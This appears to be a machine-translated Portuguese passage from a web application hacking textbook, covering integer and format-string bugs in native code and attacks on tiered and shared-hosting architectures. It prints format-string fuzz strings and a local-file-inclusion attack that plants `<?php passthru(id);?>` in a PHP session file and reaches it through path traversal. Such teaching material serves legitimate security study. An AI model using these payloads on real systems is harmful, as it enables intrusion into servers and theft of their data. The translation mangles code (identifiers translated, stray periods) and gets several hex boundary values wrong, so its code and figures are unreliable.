        strncpy(_username, nome de usuário, len);
    ...
```

Aqui, a função recebe o nome de usuário fornecido pelo usuário e um inteiro assinado indicando seu comprimento. O programador cria um buffer de tamanho fixo na pilha e verifica se o comprimento é menor que o tamanho do buffer. Se for, o programador executa uma cópia contada do buffer, projetada para garantir que o buffer não seja transbordado.

Se o parâmetro `len` for um número positivo, esse código se comportará como pretendido. Entretanto, se um invasor puder fazer com que um valor negativo seja passado para a função, a verificação de proteção do programador será subvertida. A comparação com 32 ainda

é bem-sucedido, pois o compilador trata os dois números como inteiros com sinal. Portanto, o comprimento negativo é passado para a função `strncpy` como seu parâmetro de contagem. Como `strncpy` recebe um inteiro sem sinal como parâmetro, o compilador converte implicitamente o valor de `len` para esse tipo, de modo que o valor negativo é tratado como um número positivo grande. Se a cadeia de caracteres de nome de usuário fornecida pelo usuário tiver mais de 32 bytes, o buffer será transbordado da mesma forma que em um transbordamento padrão baseado em pilha.

Esse tipo de ataque geralmente só é viável quando o invasor pode controlar diretamente um parâmetro de comprimento. Por exemplo, talvez ele seja calculado pelo JavaScript do lado do cliente e enviado com uma solicitação juntamente com a cadeia de caracteres à qual se refere. No entanto, se a variável de número inteiro for pequena o suficiente (por exemplo, um short) e o programa calcular o comprimento no lado do servidor, um invasor também poderá introduzir um valor negativo por meio de um estouro de número inteiro, enviando uma cadeia de caracteres muito longa ao aplicativo.

Detecção de vulnerabilidades de números inteiros

Naturalmente, os principais locais para investigar vulnerabilidades de números inteiros são quaisquer instâncias em que um valor inteiro é enviado do cliente para o servidor. Esse comportamento geralmente ocorre de duas maneiras diferentes:

- O aplicativo pode passar valores inteiros da maneira normal como parâmetros na string de consulta, nos cookies ou no corpo da mensagem. Esses números geralmente são representados na forma decimal usando caracteres ASCII padrão. Os alvos mais prováveis para teste são os campos que parecem representar o comprimento de uma cadeia de caracteres que também está sendo enviada.
- O aplicativo pode passar valores inteiros incorporados em um bloco maior de dados binários. Esses dados podem se originar de um componente do lado do cliente, como um controle ActiveX, ou podem ter sido transmitidos pelo cliente em um campo de formulário oculto ou cookie (consulte o Capítulo 5). Os inteiros relacionados ao comprimento podem ser mais difíceis de identificar nesse contexto. Normalmente, eles são representados em formato hexadecimal e, com frequência, precedem diretamente a cadeia de caracteres ou o buffer ao qual estão relacionados. Observe que os dados binários podem ser codificados usando Base64 ou esquemas semelhantes para transmissão por HTTP.

1. Depois de identificar os alvos para teste, você precisa enviar cargas úteis adequadas projetadas para acionar quaisquer vulnerabilidades. Para cada item de dados que está sendo visado, envie uma série de valores diferentes, representando casos-limite para as versões assinadas e não assinadas de diferentes tamanhos de inteiros. Por exemplo:
   - 0x7f e 0x80 (127 e 128)
   - 0xff e 0x100 (255 e 256)

- 0x7ffff e 0x8000 (32767 e 32768)
- 0xffff e 0x10000 (65535 e 65536)
- 0x7fffffff e 0x80000000 (2147483647 e 2147483648)
- 0xffffffffff e 0x0 (4294967295 e 0)

2. Quando os dados que estão sendo modificados são representados em formato hexadecimal, você deve enviar versões little-endian e big-endian de cada caso de teste - por exemplo, ff7f e 7fff. Se os números hexadecimais forem enviados em formato ASCII, você deverá usar o mesmo caso que o próprio aplicativo usa para caracteres alfabéticos para garantir que eles sejam decodificados corretamente.
3. Você deve monitorar as respostas do aplicativo em busca de eventos anômalos da mesma forma descrita para as vulnerabilidades de estouro de buffer.

Vulnerabilidades de formatação de strings

As vulnerabilidades de string de formato surgem quando a entrada controlável pelo usuário é passada como parâmetro de string de formato para uma função que recebe especificadores de formato que podem ser usados indevidamente, como na família de funções `printf` em C. Essas funções recebem um número variável de parâmetros, que podem consistir em diferentes tipos de dados, como números e strings. A cadeia de caracteres de formato passada para a função contém especificadores que informam que tipo de dados está contido nos parâmetros variáveis e em que formato ele deve ser renderizado.

Por exemplo, o código a seguir gera uma mensagem que contém o valor da variável `count`, representado como um decimal:

```
printf("O valor da contagem é %d", contagem.);
```

O especificador de formato mais perigoso é `%n`. Isso não faz com que nenhum dado seja impresso. Em vez disso, ele faz com que o número de bytes de saída até o momento seja gravado no endereço do ponteiro passado como parâmetro da variável associada. Por exemplo:

```
int count = 43;
int written = 0;
printf("The value of count is %d%n.\n", count, &written.);
printf("%d bytes were printed.\n", written);
```

produz o seguinte:

```
O valor da contagem é 43.
Foram impressos 24 bytes.
```

Se a string de formato contiver mais especificadores do que o número de parâmetros de variáveis passados, a função não terá como detectar isso e, portanto, simplesmente continuará processando os parâmetros da pilha de chamadas.

Se um invasor controlar toda ou parte da cadeia de caracteres de formato passada para uma função no estilo `printf`, ele geralmente poderá explorar isso para sobrescrever partes críticas da memória do processo e, por fim, causar a execução de código arbitrário. Como o invasor controla a string de formato, ele pode controlar o número de bytes que a função gera e o ponteiro na pilha que é substituído pelo número de bytes gerados. Isso permite que ele substitua um endereço de retorno salvo ou um ponteiro para um manipulador de exceção e assuma o controle da execução da mesma forma que em um estouro de pilha.

Detecção de vulnerabilidades de cadeias de caracteres de formato

A maneira mais confiável de detectar bugs de string de formato em um aplicativo remoto é enviar dados que contenham vários especificadores de formato e monitorar quaisquer anomalias no comportamento do aplicativo. Assim como ocorre com o acionamento descontrolado de vulnerabilidades de estouro de buffer, é provável que a sondagem de falhas de string de formato resulte em uma falha em um aplicativo vulnerável.

ETAPAS DO HACK

1. Visando cada parâmetro individualmente, envie cadeias de caracteres que contenham um grande número de especificadores de formato **%n** e **%s**:

   ```
   %n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
   %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
   ```

   Observe que algumas operações de formatação de cadeia de caracteres podem ignorar o especificador **%n** por motivos de segurança. Em vez disso, fornecer o especificador **%s** faz com que a função desreferencie cada parâmetro na pilha, provavelmente resultando em uma violação de acesso se o aplicativo for vulnerável.

2. A função **FormatMessage** do Windows usa especificadores de uma forma diferente da família **printf**. Para testar se há chamadas vulneráveis a essa função, você deve usar as seguintes cadeias de caracteres:

   ```
   %1!n!%2!n!%3!n!%4!n!%5!n!%6!n!%7!n!%8!n!%9!n!%10!n! etc...
   %1!s!%2!s!%3!s!%4!s!%5!s!%6!s!%7!s!%8!s!%9!s!%10!s! etc...
   ```

3. Lembre-se de codificar o caractere **%** no URL como **%25**.

4. Você deve monitorar as respostas do aplicativo em busca de eventos anômalos da mesma forma descrita para as vulnerabilidades de estouro de buffer.

Resumo

As vulnerabilidades de software em código nativo representam uma área relativamente pequena em relação aos ataques a aplicativos da Web. A maioria dos aplicativos é executada em um ambiente de execução gerenciado no qual as falhas clássicas de software descritas neste capítulo não surgem. Entretanto, ocasionalmente, esses tipos de vulnerabilidades são altamente relevantes e afetam muitos aplicativos da Web executados em dispositivos de hardware e outros ambientes não gerenciados. Uma grande parte dessas vulnerabilidades pode ser detectada enviando um conjunto específico de casos de teste ao servidor e monitorando seu comportamento.

Algumas vulnerabilidades em aplicativos nativos são relativamente fáceis de serem exploradas, como a vulnerabilidade off-by-one descrita neste capítulo. No entanto, na maioria dos casos, elas são difíceis de serem exploradas apenas com acesso remoto ao aplicativo vulnerável. Em contraste com a maioria dos outros tipos de vulnerabilidades de aplicativos da Web, até mesmo o ato de sondar falhas clássicas de software tem grande probabilidade de causar uma condição de negação de serviço se o aplicativo estiver vulnerável. Antes de realizar qualquer teste desse tipo, você deve garantir que o proprietário do aplicativo aceite os riscos inerentes envolvidos.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. A menos que haja defesas especiais, por que os transbordamentos de buffer baseados em pilha geralmente são mais fáceis de explorar do que os transbordamentos baseados em heap?
2. Nas linguagens C e C++, como é determinado o comprimento de uma cadeia de caracteres?
3. Por que uma vulnerabilidade de estouro de buffer em um dispositivo de rede pronto para uso normalmente tem uma probabilidade muito maior de exploração do que um estouro em um aplicativo da Web proprietário executado na Internet?
4. Por que a seguinte string de fuzz não identificaria muitas instâncias de vulnerabilidades de string de formato?

   ```
   %n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n...
   ```

5. Você está sondando vulnerabilidades de estouro de buffer em um aplicativo da Web que faz uso extensivo de componentes de código nativo. Você encontra uma solicitação que pode conter uma vulnerabilidade em um de seus parâmetros; no entanto, o comportamento anômalo que você observou é difícil de reproduzir de forma confiável. Às vezes, o envio de um valor longo causa uma falha imediata. Às vezes, você precisa enviá-lo várias vezes seguidas para causar uma falha. E, às vezes, ocorre uma falha após um grande número de solicitações benignas.

Qual é a causa mais provável do comportamento do aplicativo?

CAPÍTULO

17

Aplicativo de ataque Arquitetura

A arquitetura de aplicativos da Web é uma importante área de segurança que é frequentemente ignorada quando a segurança de aplicativos individuais é avaliada. Em arquiteturas em camadas comumente usadas, uma falha na segregação de diferentes camadas geralmente significa que um único defeito em uma camada pode ser explorado para comprometer totalmente outras camadas e, portanto, todo o aplicativo.

Uma gama diferente de ameaças à segurança surge em ambientes em que vários aplicativos são hospedados na mesma infraestrutura ou até mesmo compartilham componentes comuns de um aplicativo mais abrangente. Nessas situações, defeitos ou códigos mal-intencionados em um aplicativo podem, às vezes, ser explorados para comprometer todo o ambiente e outros aplicativos pertencentes a clientes diferentes. O recente crescimento da computação em "nuvem" aumentou a exposição de muitas organizações a ataques desse tipo.

Este capítulo examina uma série de configurações arquitetônicas diferentes e descreve como você pode explorar defeitos nas arquiteturas de aplicativos para avançar seu ataque.

Arquiteturas em camadas

A maioria dos aplicativos da Web usa uma arquitetura de várias camadas, na qual a interface do usuário, a lógica comercial e o armazenamento de dados do aplicativo são divididos entre várias camadas, que podem usar tecnologias diferentes e ser implementadas em diferentes

computadores físicos. Uma arquitetura comum de três camadas envolve as seguintes camadas:

- Camada de apresentação, que implementa a interface do aplicativo
- Camada de aplicativo, que implementa a lógica central do aplicativo
- Camada de dados, que armazena e processa os dados do aplicativo

Na prática, muitos aplicativos corporativos complexos empregam uma divisão mais refinada entre as camadas. Por exemplo, um aplicativo baseado em Java pode usar as seguintes camadas e tecnologias:

- Camada do servidor de aplicativos (como o Tomcat)
- Camada de apresentação (como o WebWork)
- Camada de autorização e autenticação (como JAAS ou ACEGI)
- Estrutura de aplicativos principal (como Struts ou Spring)
- Camada de lógica de negócios (como Enterprise Java Beans)
- Mapeamento relacional de objetos de banco de dados (como o Hibernate)
- Chamadas JDBC de banco de dados
- Servidor de banco de dados

Uma arquitetura de várias camadas tem várias vantagens em relação a um projeto de camada única. Como acontece com a maioria dos tipos de software, a divisão de tarefas de processamento altamente complexas em componentes funcionais simples e modulares pode proporcionar enormes benefícios em termos de gerenciamento do desenvolvimento do aplicativo e redução da incidência de bugs. Os componentes individuais com interfaces bem definidas podem ser facilmente reutilizados em aplicativos diferentes e entre eles. Diferentes desenvolvedores podem trabalhar em paralelo nos componentes sem precisar entender profundamente os detalhes de implementação de outros componentes. Se for necessário substituir a tecnologia usada em uma das camadas, isso pode ser feito com um impacto mínimo nas outras camadas. Além disso, se bem implementada, uma arquitetura de várias camadas pode ajudar a melhorar a postura de segurança de todo o aplicativo.

Ataque a arquiteturas em camadas

Uma consequência do ponto anterior é que, se houver defeitos na implementação de uma arquitetura em várias camadas, eles poderão introduzir vulnerabilidades de segurança. A compreensão do modelo multicamadas pode ajudá-lo a atacar um aplicativo da Web, ajudando-o a identificar onde diferentes defesas de segurança (como controles de acesso e validação de entrada) são implementadas e como elas podem ser quebradas entre os limites das camadas. Uma arquitetura em camadas mal projetada pode possibilitar três grandes categorias de ataques:

- Você pode explorar as relações de confiança entre diferentes camadas para avançar um ataque de uma camada para outra.

- Se as diferentes camadas forem inadequadamente segregadas, você poderá aproveitar um defeito em uma camada para prejudicar diretamente as proteções de segurança implementadas em outra camada.
- Depois de conseguir um comprometimento limitado de uma camada, você poderá atacar diretamente a infraestrutura que dá suporte a outras camadas e, portanto, estender seu comprometimento a essas camadas.

Examinaremos esses ataques em mais detalhes.

Exploração de relações de confiança entre camadas

As diferentes camadas de um aplicativo podem confiar umas nas outras para que se comportem de determinadas maneiras. Quando o aplicativo está funcionando normalmente, essas suposições podem ser válidas. No entanto, em condições anômalas ou quando estiver sob ataque ativo, elas podem ser quebradas. Nessa situação, você poderá explorar essas relações de confiança para avançar um ataque de uma camada para outra, aumentando a importância da violação de segurança.

Uma relação de confiança comum que existe em muitos aplicativos corporativos é que a camada de aplicativos é a única responsável pelo gerenciamento do acesso do usuário. Essa camada lida com a autenticação e o gerenciamento de sessões e implementa toda a lógica que determina se uma solicitação específica deve ser concedida. Se a camada de aplicativos decidir conceder uma solicitação, ela emitirá os comandos relevantes para que outras camadas executem as ações solicitadas. Essas outras camadas confiam que a camada do aplicativo realizará as verificações de controle de acesso adequadamente e, portanto, honrarão todos os comandos que receberem da camada do aplicativo.

Esse tipo de relação de confiança exacerba efetivamente muitas das vulnerabilidades comuns da Web examinadas nos capítulos anteriores. Quando existe uma falha de injeção de SQL, ela geralmente pode ser explorada para acessar todos os dados que o aplicativo possui. Mesmo que o aplicativo não acesse o banco de dados como DBA, ele normalmente usa uma única conta que pode ler e atualizar todos os dados do aplicativo. A camada do banco de dados confia efetivamente na camada do aplicativo para controlar adequadamente o acesso aos seus dados.

De forma semelhante, os componentes do aplicativo geralmente são executados usando contas poderosas do sistema operacional que têm permissão para executar ações confidenciais e acessar arquivos importantes. Nessa configuração, a camada do sistema operacional confia efetivamente nas camadas de aplicativos relevantes para que não executem ações indesejáveis. Se um invasor encontrar uma falha de injeção de comando, ele poderá comprometer totalmente o sistema operacional subjacente que suporta a camada de aplicativo comprometida.

As relações de confiança entre as camadas também podem levar a outros problemas. Se houver erros de programação em uma camada do aplicativo, eles podem levar a um comportamento anômalo em outras camadas. Por exemplo, a condição de corrida descrita no Capítulo 11 faz com que o banco de dados back-end forneça informações de conta pertencentes ao usuário errado. Além disso, quando os administradores estão investigando um evento inesperado ou uma

violação de segurança, os logs de auditoria nas camadas de confiança normalmente não são suficientes para entender completamente o que ocorreu, pois eles simplesmente identificam o

camada confiável como o agente do evento. Por exemplo, após um ataque de injeção de SQL, os logs do banco de dados podem registrar todas as consultas injetadas pelo invasor. No entanto, para determinar o usuário responsável, é necessário fazer referência cruzada desses eventos com entradas nos logs da camada de aplicativos, que podem ou não ser adequadas para identificar o criminoso.

Subvertendo outras camadas

Se as diferentes camadas do aplicativo forem segregadas de forma inadequada, um invasor que comprometa uma camada poderá ser capaz de anular diretamente as proteções de segurança implementadas em outra camada para executar ações ou acessar dados que essa camada é responsável por controlar.

Esse tipo de vulnerabilidade geralmente surge em situações em que várias camadas diferentes são implementadas no mesmo computador físico. Essa configuração arquitetônica é uma prática comum em situações em que o custo é um fator importante.

Acesso a algoritmos de descriptografia

Muitos aplicativos criptografam dados confidenciais do usuário para minimizar o impacto do comprometimento do aplicativo, geralmente para atender aos requisitos regulamentares ou de conformidade, como o PCI. Embora as senhas possam ser salgadas e hash para garantir que não possam ser determinadas mesmo que o armazenamento de dados seja comprometido, é necessária uma abordagem diferente para os dados em que o aplicativo precisa recuperar o valor de texto simples correspondente. Os exemplos mais comuns são as perguntas de segurança de um usuário (que podem ser verificadas interativamente com um help desk) e as informações do cartão de pagamento (que são necessárias para processar pagamentos). Para isso, é empregado um algoritmo de criptografia bidirecional. Uma falha típica ao usar a criptografia é que não se obtém uma separação lógica entre as chaves de criptografia e os dados criptografados. Uma separação simples e falha quando a criptografia é introduzida em um ambiente existente é localizar o algoritmo e as chaves associadas na camada de dados, o que evita afetar o restante do código. Mas se a camada de dados for comprometida, por exemplo, por meio de um ataque de injeção de SQL, localizar e executar a função de descriptografia seria uma etapa simples para um invasor.

OBSERVAÇÃO Independentemente do processo de criptografia, se o aplicativo for capaz de descriptografar informações e ficar totalmente comprometido, um invasor sempre poderá encontrar uma rota lógica para o algoritmo de descriptografia.

Uso do acesso de leitura de arquivos para extrair dados do MySQL

Muitos aplicativos pequenos usam um servidor LAMP (um único computador que executa o software de código aberto Linux, Apache, MySQL e PHP). Nessa arquitetura,

Uma vulnerabilidade de divulgação de arquivos na camada de aplicativos Web, que por si só pode não representar um defeito crítico, pode resultar em acesso irrestrito a todos os dados do aplicativo. Isso é verdade porque os dados do MySQL são armazenados em arquivos legíveis por humanos que o processo do aplicativo Web geralmente está autorizado a ler. Mesmo que o banco de dados implemente um controle de acesso rigoroso sobre seus dados e o aplicativo use uma série de contas diferentes com privilégios baixos para se conectar ao banco de dados, essas proteções podem ser totalmente anuladas se um invasor puder obter acesso direto aos dados mantidos na camada do banco de dados.

Por exemplo, o aplicativo mostrado na Figura 17-1 permite que os usuários escolham uma skin para personalizar sua experiência. Isso envolve a seleção de um arquivo de folhas de estilo em cascata (CSS), que o aplicativo apresenta ao usuário para revisão.

Figura 17-1: Um aplicativo que contém uma função para visualizar um arquivo selecionado

Se essa função contiver uma vulnerabilidade de passagem de caminho (consulte o Capítulo 10), um invasor poderá explorá-la para obter acesso direto a dados arbitrários mantidos no banco de dados MySQL. Isso permite que ele anule os controles implementados na camada do banco de dados. A Figura 17-2 mostra um ataque bem-sucedido que recupera os hashes de nomes de usuário e senhas da tabela de usuários do MySQL.

Figura 17-2: Um ataque que reduz a camada de banco de dados para recuperar dados arbitrários

DICA Se um invasor tiver acesso de gravação de arquivos, ele poderá tentar gravar na configuração do aplicativo ou gravar em um diretório virtual hospedado para obter a execução de comandos. Consulte o exemplo **do `nslookup`** no Capítulo 10.

Uso da inclusão de arquivos locais para executar comandos

A maioria das linguagens contém uma função que permite a inclusão de um arquivo local no script atual. A capacidade de um invasor especificar qualquer arquivo no sistema de arquivos é inegavelmente um problema de alto risco. Esse arquivo pode ser o arquivo `/etc/passwd` ou um arquivo de configuração que contenha uma senha. Nesses casos, o risco de divulgação de informações é óbvio, mas o invasor não pode necessariamente escalar o ataque para comprometer ainda mais o sistema (ao contrário da inclusão remota de arquivos, conforme descrito no Capítulo 10). No entanto, ainda pode ser possível para um invasor executar comandos incluindo um arquivo cujo conteúdo ele controla parcialmente, como resultado de outros recursos do aplicativo ou da plataforma.

Considere um aplicativo que recebe a entrada do usuário dentro do parâmetro `country` no seguinte URL:

```
http://eis/mdsecportal/prefs/preference_2?country=en-gb
```

Um usuário pode modificar o parâmetro `country` para incluir arquivos arbitrários. Um possível ataque pode ser solicitar URLs que contenham comandos de script para que eles sejam gravados no arquivo de registro do servidor da Web e, em seguida, incluir esse arquivo de registro usando o comportamento de inclusão de arquivo local.

Um método interessante que explora uma peculiaridade arquitetônica do PHP é que as variáveis da sessão do PHP são gravadas em um arquivo em texto não criptografado, nomeado usando o token da sessão. Por exemplo, o arquivo:

```
/var/lib/php5/sess_9ceed0645151b31a494f4e52dabd0ed7
```

pode conter o seguinte conteúdo, que inclui um apelido configurado pelo usuário:

```
logged_in|i:1;id|s:2: "24";nome de usuário|s:11: "manicsprout";apelido|s:22:
"msp";privilégio|s:1: "1";
```

Um invasor pode ser capaz de explorar esse comportamento, primeiro definindo seu apelido como `<?php passthru(id);?>`, conforme mostrado na Figura 17-3. Em seguida, ele pode incluir seu arquivo de sessão para fazer com que o comando `id` seja executado usando o seguinte URL, conforme mostrado na Figura 17-4:

```
http://eis/mdsecportal/prefs/preference_2.php?country=../../../../../../
../../var/lib/php5/sess_9ceed0645151b31a494f4e52dabd0ed7%00
```

Figura 17-3: Configuração de um apelido que contém código de script executável pelo servidor

Figura 17-4: Execução do arquivo de sessão que contém o apelido malicioso por meio da função de inclusão de arquivo local

ETAPAS DO HACK

1. Conforme descrito ao longo deste livro, para qualquer vulnerabilidade que você identificar no aplicativo, pense de forma imaginativa sobre como isso pode ser feito.
   explorada para atingir seus objetivos. Inúmeros hacks bem-sucedidos contra aplicativos da Web começam com uma vulnerabilidade que é intrinsecamente limitada em seu impacto. Explorando as relações de confiança e minando os controles implementados em outras partes do aplicativo, pode ser possível aproveitar um defeito aparentemente menor para realizar uma violação grave.
2. Se você conseguir executar comandos arbitrários em qualquer componente do aplicativo e puder iniciar conexões de rede com outros hosts, considere maneiras de atacar diretamente outros elementos da infraestrutura do aplicativo nas camadas da rede e do sistema operacional para expandir o escopo do seu comprometimento.

Proteção de arquiteturas em camadas

Se implementada com cuidado, uma arquitetura em várias camadas pode aumentar consideravelmente a segurança de um aplicativo, pois localiza o impacto de um ataque bem-sucedido. Na configuração básica do LAMP descrita anteriormente, na qual todos os componentes são executados em um único computador, o comprometimento de qualquer camada provavelmente levará ao comprometimento total do aplicativo. Em uma arquitetura mais segura, o comprometimento de uma camada pode resultar em controle parcial sobre os dados e o processamento de um aplicativo, mas seu impacto pode ser mais limitado e talvez restrito à camada afetada.

Minimizar as relações de confiança

Na medida do possível, cada camada deve implementar seus próprios controles para se defender contra ações não autorizadas e não deve confiar em outros componentes do aplicativo para

evitar violações de segurança que a própria camada pode ajudar a bloquear. Veja a seguir alguns exemplos de aplicação desse princípio a diferentes camadas do aplicativo:

- A camada do servidor de aplicativos pode impor o controle de acesso baseado em função sobre recursos específicos e caminhos de URL. Por exemplo, o servidor de aplicativos pode verificar se qualquer solicitação para o caminho `/admin` foi recebida de um usuário administrativo. Os controles também podem ser impostos a diferentes tipos de recursos, como tipos específicos de scripts e recursos estáticos. Isso reduz o impacto de certos tipos de defeitos de controle de acesso na camada do aplicativo Web, pois os usuários que não estão autorizados a acessar determinada funcionalidade terão a solicitação bloqueada antes de chegar a essa camada.
- A camada do servidor de banco de dados pode fornecer várias contas para uso pelo aplicativo para diferentes usuários e diferentes ações. Por exemplo, as ações em nome de usuários não autenticados podem ser executadas com uma conta de baixo privilégio que permite acesso somente de leitura a um conjunto restrito de dados. Diferentes categorias de usuários autenticados podem ser atribuídas a diferentes contas de banco de dados, concedendo acesso de leitura e gravação a diferentes subconjuntos de dados do aplicativo, de acordo com a função do usuário. Isso atenua o impacto de muitas vulnerabilidades de injeção de SQL, pois um ataque bem-sucedido pode resultar em nenhum acesso além do que o usuário poderia obter legitimamente usando o aplicativo como pretendido.
- Todos os componentes do aplicativo podem ser executados usando contas do sistema operacional que possuem o menor nível de privilégios necessários para a operação normal. Isso reduz o impacto de qualquer injeção de comando ou falhas de acesso a arquivos nesses componentes. Em uma arquitetura bem projetada e totalmente reforçada, vulnerabilidades desse tipo podem não oferecer a um invasor nenhuma oportunidade útil de acessar dados confidenciais ou executar ações não autorizadas.

Segregação de componentes diferentes

Na medida do possível, cada camada deve ser separada para não interagir com outras camadas de forma não intencional. A implementação eficaz desse objetivo pode, em alguns casos, exigir que componentes diferentes sejam executados em hosts físicos diferentes. Veja a seguir alguns exemplos de aplicação desse princípio:

- As diferentes camadas não devem ter acesso de leitura ou gravação aos arquivos usados por outras camadas. Por exemplo, a camada de aplicativos não deve ter acesso aos arquivos físicos usados para armazenar dados do banco de dados e só deve poder acessar esses dados da maneira pretendida usando consultas ao banco de dados com uma conta de usuário apropriada.
- O acesso em nível de rede entre os diferentes componentes da infraestrutura deve ser filtrado para permitir apenas os serviços com os quais as diferentes

camadas de aplicativos devem se comunicar. Por exemplo, o servidor que hospeda o aplicativo principal

a lógica do aplicativo pode ter permissão para se comunicar com o servidor de banco de dados somente por meio da porta usada para emitir consultas SQL. Essa precaução não impedirá ataques que realmente usem esse serviço para atingir a camada de banco de dados. Mas evitará ataques no nível da infraestrutura contra o servidor de banco de dados e impedirá que qualquer comprometimento no nível do sistema operacional atinja a rede mais ampla da organização.

Aplique a Defesa em Profundidade

Dependendo das tecnologias exatas em uso, uma variedade de outras proteções pode ser implementada em diferentes componentes da arquitetura para apoiar o objetivo de localizar o impacto de um ataque bem-sucedido. Aqui estão alguns exemplos desses controles:

- Todas as camadas da pilha de tecnologia em cada host devem ser reforçadas em termos de segurança, tanto em termos de configuração quanto de correção de vulnerabilidades. Se o sistema operacional de um servidor for inseguro, um invasor que explore uma falha de injeção de comando com uma conta com pouco privilégio poderá escalar os privilégios para comprometer totalmente o servidor. O ataque pode então se propagar pela rede se outros hosts não tiverem sido protegidos. Por outro lado, se os servidores subjacentes estiverem protegidos, um ataque poderá ser totalmente contido em uma ou mais camadas do aplicativo.
- Os dados confidenciais mantidos em qualquer camada do aplicativo devem ser criptografados para evitar a divulgação fácil caso essa camada seja comprometida. As credenciais de usuário e outras informações confidenciais, como números de cartão de crédito, devem ser armazenadas de forma criptografada no banco de dados. Quando disponíveis, os mecanismos de proteção incorporados devem ser usados para proteger as credenciais do banco de dados mantidas na camada do aplicativo Web. Por exemplo, no ASP.NET 2.0, uma cadeia de conexão de banco de dados criptografada pode ser armazenada no arquivo `web.config`.

Hospedagem compartilhada e provedores de serviços de aplicativos

Muitas organizações usam provedores externos para ajudar a fornecer seus aplicativos da Web ao público. Esses acordos variam de simples serviços de hospedagem, nos quais uma organização recebe acesso a um servidor da Web e/ou de banco de dados, a provedores de serviços de aplicativos (ASPs) completos que mantêm ativamente o aplicativo em nome da organização. Acordos desse tipo são ideais para pequenas empresas que não têm as habilidades ou os recursos para implantar seu próprio aplicativo, mas também são usados por algumas empresas de alto nível para implantar aplicativos específicos.

A maioria dos provedores de serviços de hospedagem de aplicativos e da Web

tem muitos clientes e, normalmente, oferece suporte a vários aplicativos de clientes usando o mesmo

infraestrutura, ou infraestruturas estreitamente conectadas. Portanto, uma organização que opte por usar um desses serviços deve considerar as seguintes ameaças relacionadas:

- Um cliente mal-intencionado do provedor de serviços pode tentar interferir no aplicativo da organização e em seus dados.
- Um cliente inadvertido pode implantar um aplicativo vulnerável que permite que usuários mal-intencionados comprometam a infraestrutura compartilhada e, assim, ataquem o aplicativo da organização e seus dados.

Os sites hospedados em sistemas compartilhados são os principais alvos de script kiddies que procuram desfigurar o maior número possível de sites, pois o comprometimento de um único host compartilhado pode permitir que eles ataquem centenas de sites aparentemente autônomos em um curto período de tempo.

Hospedagem virtual

Em arranjos simples de hospedagem compartilhada, um servidor da Web pode simplesmente ser configurado para suportar vários sites virtuais com nomes de domínio diferentes. Isso é feito por meio do cabeçalho `Host`, que é obrigatório na versão 1.1 do HTTP. Quando um navegador faz uma solicitação HTTP, ele inclui um cabeçalho `Host` que contém o nome de domínio contido no URL relevante e envia a solicitação para o endereço IP associado a esse nome de domínio. Se vários nomes de domínio forem resolvidos para o mesmo endereço IP, o servidor nesse endereço ainda poderá determinar para qual site da Web a solicitação se destina. Por exemplo, o Apache pode ser configurado para oferecer suporte a vários sites da Web usando a seguinte configuração, que define um diretório raiz da Web diferente para cada site hospedado virtualmente:

```
<VirtualHost *>
  ServerName wahh-app1.com
  DocumentRoot /www/app1
</VirtualHost>

<VirtualHost *>
  ServerName wahh-app2.com
  DocumentRoot /www/app2
</VirtualHost>
```

Serviços de aplicativos compartilhados

Muitos ASPs fornecem aplicativos prontos que podem ser adaptados e personalizados para uso por seus clientes. Esse modelo é econômico em setores em que um grande número de empresas precisa implantar aplicativos altamente funcionais e complexos que ofereçam essencialmente a mesma funcionalidade aos seus usuários finais. Ao usar os serviços de um ASP, as empresas podem adquirir rapidamente um aplicativo com a marca adequada sem incorrer nos altos custos de configuração e manutenção que isso envolveria.

O mercado de aplicativos ASP é particularmente maduro no setor de serviços financeiros. Por exemplo, um determinado país pode ter milhares de pequenos varejistas que desejam oferecer a seus clientes cartões de pagamento e facilidades de crédito na loja. Esses varejistas terceirizam essa função para dezenas de diferentes fornecedores de cartões de crédito, muitos dos quais são empresas iniciantes em vez de bancos estabelecidos há muito tempo. Esses fornecedores de cartões de crédito oferecem um serviço comoditizado no qual o custo é o principal fator de discriminação. Dessa forma, muitos deles usam um ASP para fornecer o aplicativo da Web que é fornecido aos usuários finais. Portanto, dentro de cada ASP, o mesmo aplicativo é personalizado para um grande número de varejistas diferentes.

A Figura 17-5 ilustra a organização típica e a divisão de responsabilidades nesse tipo de arranjo. Como você pode ver pelos vários agentes e tarefas envolvidos, essa configuração envolve os mesmos tipos de problemas de segurança que o modelo básico de hospedagem compartilhada; no entanto, as questões envolvidas podem ser mais complexas. Além disso, outros problemas são específicos desse arranjo, conforme descrito na próxima seção.

Figura 17-5: A organização de um provedor de serviços de aplicativos típico

Ataque a ambientes compartilhados

Os ambientes de hospedagem compartilhada e ASP apresentam uma série de novas vulnerabilidades potenciais pelas quais um invasor pode visar um ou mais aplicativos dentro da infraestrutura compartilhada.

Ataques contra mecanismos de acesso

Como várias organizações externas têm uma necessidade legítima de atualizar e personalizar os diferentes aplicativos em um ambiente compartilhado, o

provedor

precisa implementar mecanismos pelos quais esse acesso remoto possa ser obtido. No caso mais simples de um site hospedado virtualmente, isso pode envolver apenas um recurso de upload, como FTP ou SCP, por meio do qual os clientes podem gravar arquivos em sua própria raiz da Web.

Se o acordo de hospedagem incluir o fornecimento de um banco de dados, os clientes talvez precisem obter acesso direto para configurar sua própria configuração de banco de dados e recuperar os dados armazenados pelo aplicativo. Nessa situação, os provedores podem implementar uma interface da Web para determinadas funções administrativas do banco de dados ou podem até expor o serviço de banco de dados real na Internet, permitindo que os clientes se conectem diretamente e usem suas próprias ferramentas.

Em ambientes ASP completos, em que diferentes tipos de clientes precisam executar diferentes níveis de personalização em elementos do aplicativo compartilhado, os provedores geralmente implementam aplicativos altamente funcionais que os clientes podem usar para essas tarefas. Esses aplicativos geralmente são acessados por meio de uma rede privada virtual (VPN) ou de uma conexão privada dedicada na infraestrutura do ASP.

Dada a variedade de mecanismos de acesso remoto que podem existir, vários ataques diferentes podem ser possíveis contra um ambiente compartilhado:

- O próprio mecanismo de acesso remoto pode ser inseguro. Por exemplo, o protocolo FTP não é criptografado, o que permite que um invasor adequadamente posicionado (por exemplo, dentro do próprio ISP do cliente) capture as credenciais de login. Os mecanismos de acesso também podem conter vulnerabilidades de software não corrigidas ou defeitos de configuração que permitem que um invasor anônimo comprometa o mecanismo e interfira nos aplicativos e dados dos clientes.
